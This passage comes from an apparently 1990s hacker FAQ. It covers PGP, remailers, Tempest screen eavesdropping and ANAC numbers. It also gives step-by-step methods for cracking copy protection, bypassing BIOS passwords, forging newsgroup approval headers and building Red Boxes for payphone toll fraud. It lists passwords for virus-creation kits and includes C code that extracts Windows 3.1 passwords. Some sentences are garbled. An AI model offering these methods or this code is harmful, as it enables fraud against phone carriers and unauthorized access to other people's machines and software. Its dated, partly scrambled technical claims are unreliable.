PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. 30. What is Tempest? Tempest stands for Transient Electromagnetic Pulse Surveillance Technology. Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart. What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires. Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away. A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies. The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, Tempest equipment is not legal for civilian use in the United States. Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. Tempest certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing. 31. What is an anonymous remailer? This FAQ answer was written by Raph Levien: An anonymous remailer is a system on the Internet that allows you to send e-mail or post messages to Usenet anonymously. There are two sorts of remailers in widespread use. The first is the anon.penet.fi style, the second is the cypherpunk style. The remailer at anon.penet.fi is immensely popular, with over 160,000 users over its lifetime, and probably tens of thousands of messages per day. Its main advantage is that it's so easy to use. The cypherpunks mailers, which provide much better security, are becoming more popular, however, as there is more awareness of them. The user of the anon.penet.fi system first needs to get an anonymous id. This is done either by sending mail to somebody who already has one (for example, by replying to a post on Usenet), or sending mail to ping@anon.penet.fi. In either case, penet will mail back the new anon id, which looks like an123456@anon.penet.fi. If an123456 then sends mail to another user of the system, then this is what happens: 1. The mail is transported to anon.penet.fi, which resides somewhere in the vicinity of Espoo, Finland. 2. These steps are carried out by software running on anon.penet.fi. Penet first looks up the email address of the sender in its database, then replaces it with the numeric code. All other information about the sender is removed. 3. Then, penet looks up the number of the recipient in the same database, and replaces it with the actual email address. 4. Finally, it sends the mail to the actual email address of the recipient. There are variations on this scheme, such as posting to Usenet (in which step 3 is eliminated), but that's the basic idea. Where anon.penet.fi uses a secret database to match anon id's to actual email addresses, the cypherpunks remailers use cryptography to hide the actual identities. Let's say I want to send email to a real email address, or post it to Usenet, but keep my identity completely hidden. To send it through one remailer, this is what happens. 1. I encrypt the message and the recipient's address, using the public key of the remailer of my choice. 2. I send the email to the remailer. 3. When the remailer gets the mail, it decrypts it using its private key, revealing as plaintext the message and the recipient's address. 4. All information about the sender is removed. 5. Finally, it sends it to the recipient's email address. If one trusts the remailer operator, this is good enough. However, the whole point of the cypherpunks remailers is that you don't _have_ to trust any one individual or system. So, people who want real security use a chain of remailers. If any one remailer on the "chain" is honest, then the privacy of the message is assured. To use a chain of remailers, I first have to prepare the message, which is nestled within multiple layers of encryption, like a Russian matryoshka doll. Preparing such a message is tedious and error prone, so many people use an automated tool such as my premail package. Anyway, after preparing the message, it is sent to the first remailer in the chain, which corresponds to the outermost layer of encryption. Each remailer strips off one layer of encryption and sends the message to the next, until it reaches the final remailer. At this point, only the innermost layer of encryption remains. This layer is stripped off, revealing the plaintext message and recipient for the first time. At this point, the message is sent to its actual recipient. Remailers exist in many locations. A typical message might go through Canada, Holland, Berkeley, and Finland before ending up at its final location. Aside from the difficulty of preparing all the encrypted messages, another drawback of the cypherpunk remailers is that they don't easily allow responses to anonymous mail. All information about the sender is stripped away, including any kind of return address. However the new alias servers promise to change that. To use an alias server, one creates a new email address (mine is raph@alpha.c2.org). Mail sent to this new address will be untraceably forwarded to one's real address. To set this up, one first encrypts one's own email address with multiple layers of encryption. Then, using an encrypted channel, one sends the encrypted address to the alias server, along with the nickname that one would like. The alias server registers the encrypted address in the database. The alias server then handles reply mail in much the same way as anon.penet.fi, except that the mail is forwarded to the chain of anonymous remailers. For maximum security, the user can arrange it so that, at each link in the chain, the remailer adds another layer of encryption to the message while removing one layer from the email address. When the user finally gets the email, it is encrypted in multiple layers. The matryoshka has to be opened one doll at a time until the plaintext message hidden inside is revealed. One other point is that the remailers must be reliable in order for all this to work. This is especially true when a chain of remailers is used -- if any one of the remailers is not working, then the message will be dropped. This is why I maintain a list of reliable remailers. By choosing reliable remailers to start with, there is a good chance the message will finally get there. 32. What are the addresses of some anonymous remailers? The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi. The server at anon.penet.fi does it's best to remove any headers or other information describing its true origin. You should make an effort and try to omit information detailing your identity within such messages as quite often signatures not starting with "--" are including within your e-mail, this of course is not what you want. You can send messages to: anXXX@anon.penet.fi Here you are addressing another anonymous user and your E-Mail message will appear to have originated from anon.penet.fi. alt.security@anon.penet.fi Here you are posting an anonymous message to a whole Usenet group and in this case to alt.security which will be posted at the local site (in this case Finland). ping@anon.penet.fi If you send a message to this address you will be allocated an identity (assuming you don't already have one). You can also confirm your identity here as well. You can also set yourself a password, this password helps to authenticate any messages that you may send. This password is included in your outgoing messages, to set a password send E-Mail to password@anon.penet.fi with your password in the body of your text e.g.: To: password@anon.penet.fi Subject: TN0_rUlEz For more information on this anonymous server send mail to: help@anon.penet.fi Anonymous Usenet posting is frowned upon by other users of Usenet groups claiming their opinions are worthless. This is because they believe anonymity is used to shield ones self from attacks from opponents, while on the other hand it can be used to protect ones self from social prejudice (or people reporting ones opinions to ones superiors). Also if you are thinking this is a useful tool to use to hid against the authorities then think again, as there was a famous case where a Judge ordered the administrator of the server to reveal the identity of a poster. To see a comprehensive list on anonymous remailers finger remailer-list@kiwi.cs.berkeley.edu or point your web browser to http://www.cs.berkeley.edu/~raph/remailer-list.html. 33. How do I defeat Copy Protection? There are two common methods of defeating copy protection. is to use a program that removes copy protection. The first Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself. Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions. 34. What is 127.0.0.1? 127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine. 35. How do I post to a moderated newsgroup? Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly. One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor. A "Approved" header line should look like this: Approved: will@gnu.ai.mit.edu There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body. For more information, read RFC 1036: Standard for Interchange of USENET messages. 36. How do I post to Usenet via e-mail? Through an e-mail->Usenet gateway. <newsgroup>@<servername>. Send an a e-mail messages to For example, to post to alt.2600 through nic.funet.fi, address your mail to alt.2600@nic.funet.fi. Here are a few e-mail->Usenet gateways: group.name@news.demon.co.uk group.name@charm.magnus.acs.ohio-state.edu group.name@undergrad.math.uwaterloo.ca group.name@nic.funet.fi group.name.usenet@decwrl.dec.com 37. How do I defeat a BIOS password? This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common. Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed. Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things. The most common BIOS password attack programs are for Ami BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of Ami BIOS. To obtain Ami BIOS password attackers, ftp to oak.oakland.edu /simtel/msdos/sysutil/. If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted. On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. alternative. If this is the case, you have another Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. 38. What is the password for <encrypted file>? This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca> Magazine Password ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~ VLAD Magazine Issue #1 vlad VLAD Magazine Issue #2 vx VLAD Magazine Issue #3 virus NuKE InfoJournal Issue #2 514738 NuKE InfoJournal Issue #3 power NuKE InfoJournal Issue #4 party Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~ Sphere Hacker 1.40 & 1.41 theozone Virus Creation 2000 high level Virus Construction Lab Chiba City Ejecutor Virus Creator EJECUTOR Biological Warfare v0.90 lo tek Biological Warfare v1.00 freak 39. Is there any hope of a decompiler that would convert an executable program into C/C++ code? This FAQ answer is an excerpt from SNIPPETS by Bob Stout. Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator. If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release. OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time. OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it? Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable). Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent. Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely. For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source. 40. How does the MS-Windows password encryption work? This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com> The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box. Anyway, I will attempt to relay what I have learned about this algorithm. I will describe the process starting after you've entered the password and hit the [OK] button. I will make the assumtion that everyone (at least those interested) know what the XOR operation is. First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7). Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted. The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character. 'hash2' is the final string and this is what windows saves in the file CONTROL.INI. To 'decrypt' the password, the above procedure is just reversed. Now, what you've all been waiting for. Here is some C code that will do the dirty work for you: #include <stdlib.h> #include <stdio.h> #include <string.h> int xor1(int i,int j) { int x; x=i^j; return (x>126||x<33||x==91||x==93||x==61)?i:x; } void main() { FILE *f; int i,l; char s[80],s1[80]; printf("Please enter the path to your Windows directory\n"); gets(s1); sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\"); if((f=fopen(s,"rt"))==NULL){ printf("File Error : %s\n",sys_errlist[errno]); exit(0); } while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f)); fclose(f); strtok(s1,"=\n"); strcpy(s,strtok(NULL,"\n")); i=strlen(s)-1; for(l=i;l>-1;l--) s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1); for(l=0;l<i+1;l++) s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1); printf("The Password is: %s\n",s); } Section B: Telephony ~~~~~~~~~~~~~~~~~~~~ 01. What is a Red Box? When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows you to place your call. The actual tones are: Nickel Signal 1700+2200hz 0.060s on Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times repeating Canada uses a variant of ACTSD called N-ACTS. tones than ACTS. N-ACTS uses different In Canada, the tones to use are: Nickel Signal 2200hz 0.060s on Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating 02. How do I build a Red Box? Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal with a new one. The purpose of the new crystal is to cause the * button on your tone dialer to create a 1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz tones. The exact value of the replacement crystal should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the easiest to procure. The old crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1. 03. Where can I get a 6.5536Mhz crystal? Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done. Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. cost. It's best to get several people together to share the S&H Or, buy five or six yourself and sell them later. Some of the places you can order crystals are: Digi-Key 701 Brooks Avenue South P.O. Box 677 Thief River Falls, MN 56701-0677 (800)344-4539 Part Number:X415-ND Part Number:X018-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */ JDR Microdevices: 2233 Branham Lane San Jose, CA 95124 (800)538-5000 Part Number: 6.5536MHZ Tandy Express Order Marketing 401 NE 38th Street Fort Worth, TX 76106 (800)241-8742 Part Number: 10068625 Alltronics 2300 Zanker Road San Jose CA 95131 (408)943-9774 Voice (408)943-9776 Fax (408)943-0622 BBS Part Number: 92A057 Mouser (800)346-6873 Part Number: 332-1066 Blue Saguaro P.O. Box 37061 Tucson, AZ 85740 Part Number: 1458b Unicorn Electronics 10000 Canoga Ave, Unit c-2 Chatsworth, CA 91311 Phone: 1-800-824-3432 Part Number: CR6.5 04. Which payphones will a Red Box work on? Red Boxes will work on telco owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents" and listening for the coins being deposited. COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins have been inserted. 05. How do I make local calls with a Red Box? Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into getting involved in the call. One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This makes your call a long distance call, and brings ACTS into the picture. In other areas, you can call Directory Assistance and ask for the number of the person you are trying to reach. The operator will give you the number and then you will hear a message similar to "Your call can be completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones. 06. What is a Blue Box? Blue boxes use a 2600hz tone to size control of telephone switches that use in-band signalling. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the tones provided by the Blue Box. 07. Do Blue Boxes still work? This FAQ answer is excerpted from a message posted to Usenet by Marauder of the Legion of Doom: Somewhere along the line I have seen reference to something similar to "Because of ESS Blue boxing is impossible". incorrect. This is When I lived in Connecticut I was able to blue box under Step by Step, #1AESS, and DMS-100. The reason is simple, even though I was initiating my call to an 800 number from a different exchange (Class 5 office, aka Central Office) in each case, when the 800 call was routed to the toll network it would route through the New Haven #5 Crossbar toll Tandem office. It just so happens that the trunks between the class 5 (CO's) and the class 4 (toll office, in this case New Haven #5 Xbar), utilized in-band (MF) signalling, so regardless of what I dialed, as long as it was an Inter-Lata call, my call would route through this particular set of trunks, and I could Blue box until I was blue in the face. The originating Central Offices switch (SXS/ESS/Etc..) had little effect on my ability to box at all. While the advent of ESS (and other electronic switches) has made the blue boxers task a bit more difficult, ESS is not the reason most of you are unable to blue box. The main culprit is the "forward audio mute" feature of CCIS (out of band signalling). Unfortunately for the boxer 99% of the Toll Completion centers communicate using CCIS links, This spells disaster for the blue boxer since most of you must dial out of your local area to find trunks that utilize MF signalling, you inevitably cross a portion of the network that is CCIS equipped, you find an exchange that you blow 2600hz at, you are rewarded with a nice "winkstart", and no matter what MF tones you send at it, you meet with a re-order. This is because as soon as you seized the trunk (your application of 2600hz), your Originating Toll Office sees this as a loss of supervision at the destination, and Mutes any further audio from being passed to the destination (ie: your waiting trunk!). You meet with a reorder because the waiting trunk never "hears" any of the MF tones you are sending, and it times out. So for the clever amongst you, you must somehow get yourself to the 1000's of trunks out there that still utilize MF signalling but bypass/disable the CCIS audio mute problem. (Hint: Take a close look at WATS extenders). 08. What is a Black Box? A Black Box is a resistor (and often capacitor in parallel) placed in series across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. Black boxes do not work under ESS. 09. What do all the colored boxes do? Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems Aqua Drain the voltage of the FBI lock-in-trace/trap-trace Beige Lineman's hand set Black Allows the calling party to not be billed for the call placed Blast Phone microphone amplifier Blotto Supposedly shorts every phone out in the immediate area Blue Emulate a true operator by seizing a trunk with a 2600hz tone Brown Create a party line from 2 phone lines Bud Tap into your neighbors phone line Chartreuse Use the electricity from your phone line Cheese Connect two phones to create a diverter Chrome Manipulate Traffic Signals by Remote Control Clear A telephone pickup coil and a small amp used to make free calls on Fortress Phones Color Line activated telephone recorder Copper Cause crosstalk interference on an extender Crimson Hold button Dark Re-route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line Diverter Re-route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines Gold Dialout router Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap Jack Touch-Tone key pad Light In-use light Lunch AM transmitter Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line Neon External microphone Noise Create line noise Olive External ringer Party Create a party line from 2 phone lines Pearl Tone generator Pink Create a party line from 2 phone lines Purple Telephone hold button Rainbow Kill a trace by putting 120v into the phone line (joke) Razz Tap into your neighbors phone Red Make free phone calls from pay phones by generating quarter tones Rock Add music to your phone line Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D Static Keep the voltage on a phone line high Switch Add hold, indicator lights, conferencing, etc.. Tan Line activated telephone recorder Tron Reverse the phase of power to your house, causing your electric meter to run slower TV Cable "See" sound waves on your TV Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset Violet Keep a payphone from hanging up White Portable DTMF keypad Yellow Add an extension phone Box schematics may be retrieved from these FTP sites: ftp.netcom.com /pub/br/bradleym ftp.netcom.com /pub/va/vandal ftp.winternet.com /users/nitehwk 10. What is an ANAC number? An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone number of a pair of wires. 11. What is the ANAC number for my area? How to find your ANAC number: Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number for your area, please let us know. Note that many times the ANAC number will vary for different switches in the same city. The geographic naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience only. Many companies operate 800 number services which will read back to you the number from which you are calling. Many of these require navigating a series of menus to get the phone number you are looking for. Please use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC numbers. N (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME (800)568-3197 Info Access Telephone Company's Automated Blocking Line (800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!) N (800)858-9857 AT&T True Rewards A non-800 ANAC that works nationwide is 404-988-9664. The one catch with this number is that it must be dialed with the AT&T Carrier Access Code 10732. Use of this number does not appear to be billed. Note: These geographic areas are for reference purposes only. ANAC numbers may vary from switch to switch within the same city. NPA ANAC number Approximate Geographic area --- --------------- --------------------------------------------- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ 202 811 District of Columbia 203 970 CT 205 300-222-2222 Birmingham, AL 205 300-555-5555 Many small towns in AL 205 300-648-1111 Dora, AL 205 300-765-4321 Bessemer, AL 205 300-798-1111 Forestdale, AL 205 300-833-3333 Birmingham 205 557-2311 Birmingham, AL 205 811 Pell City/Cropwell/Lincoln, AL 205 841-1111 Tarrant, AL 205 908-222-2222 Birmingham, AL 206 411 WA (Not US West) 207 958 ME 209 830-2121 Stockton, CA 209 211-9779 Stockton, CA 210 830 Brownsville/Laredo/San Antonio, TX N 210 951 Brownsville/Laredo/San Antonio, TX (GTE) 212 958 Manhattan, NY 213 114 Los Angeles, CA (GTE) 213 1223 Los Angeles, CA (Some 1AESS switches) 213 211-2345 Los Angeles, CA (English response) 213 211-2346 Los Angeles, CA (DTMF response) 213 760-2??? Los Angeles, CA (DMS switches) 213 61056 Los Angeles, CA 214 570 Dallas, TX 214 790 Dallas, TX (GTE) 214 970-222-2222 Dallas, TX 214 970-611-1111 Dallas, TX (Southwestern Bell) 215 410-xxxx Philadelphia, PA 215 511 Philadelphia, PA 215 958 Philadelphia, PA 216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH 216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH 216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 219 550 Gary/Hammond/Michigan City/Southbend, IN 219 559 Gary/Hammond/Michigan City/Southbend, IN 2002006969 Hagerstown/Rockville, MD 301 958-9968 Hagerstown/Rockville, MD 303 958 Aspen/Boulder/Denver/Durango/Grand Junction N 301 /Steamboat Springs, CO N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL 310 114 Long Beach, CA (On many GTE switches) 310 1223 Long Beach, CA (Some 1AESS switches) 310 211-2345 Long Beach, CA (English response) 310 211-2346 Long Beach, CA (DTMF response) 312 200 Chicago, IL 312 290 Chicago, IL 312 1-200-8825 Chicago, IL (Last four change rapidly) 312 1-200-555-1212 Chicago, IL 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI 314 410-xxxx# Columbia/Jefferson City/St.Louis, MO 315 953 Syracuse/Utica, NY 315 958 Syracuse/Utica, NY 315 998 Syracuse/Utica, NY 317 310-222-2222 Indianapolis/Kokomo, IN 317 559-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 334 5572411 Montgomery, AL 334 5572311 Montgomery, AL 401 200-200-4444 RI 401 222-2222 RI 402 311 Lincoln, NE 404 311 Atlanta, GA 780-2311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 404 990 Atlanta, GA 405 890-7777777 Enid/Oklahoma City, OK 405 897 Enid/Oklahoma City, OK U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South) N 407 520-3111 Orlando/West Palm Beach, FL (United) 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-6969 Annapolis/Baltimore, MD N 410 200-200-6969 Annapolis/Baltimore, MD 410 200-555-1212 Annapolis/Baltimore, MD 410 811 Annapolis/Baltimore, MD N 770 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN N 501 511 AR 502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR 503 999 Portland, OR (GTE) 504 99882233 Baton Rouge/New Orleans, LA 504 201-269-1111 Baton Rouge/New Orleans, LA 504 998 Baton Rouge/New Orleans, LA 504 99851-0000000000 Baton Rouge/New Orleans, LA 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 508 26011 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 510 760-1111 Oakland, CA 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX 380-55555555 Cincinnati/Dayton, OH 515 5463 Des Moines, IA 515 811 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY N 513 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI 518 511 Albany/Schenectady/Troy, NY 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY N 540 211 Roanoke, VA (GTE) N 540 311 Roanoke, VA (GTE) N 541 200 Bend, OR 603 200-222-2222 NH 606 997-555-1212 Ashland/Winchester, KY 606 711 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 610 958 Allentown/Reading, PA 610 958-4100 Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN 614 200 Columbus/Steubenville, OH 614 571 Columbus/Steubenville, OH 615 200200200200200 Chatanooga/Knoxville/Nashville, TN 615 2002222222 Chatanooga/Knoxville/Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200-222-1234 Boston, MA 617 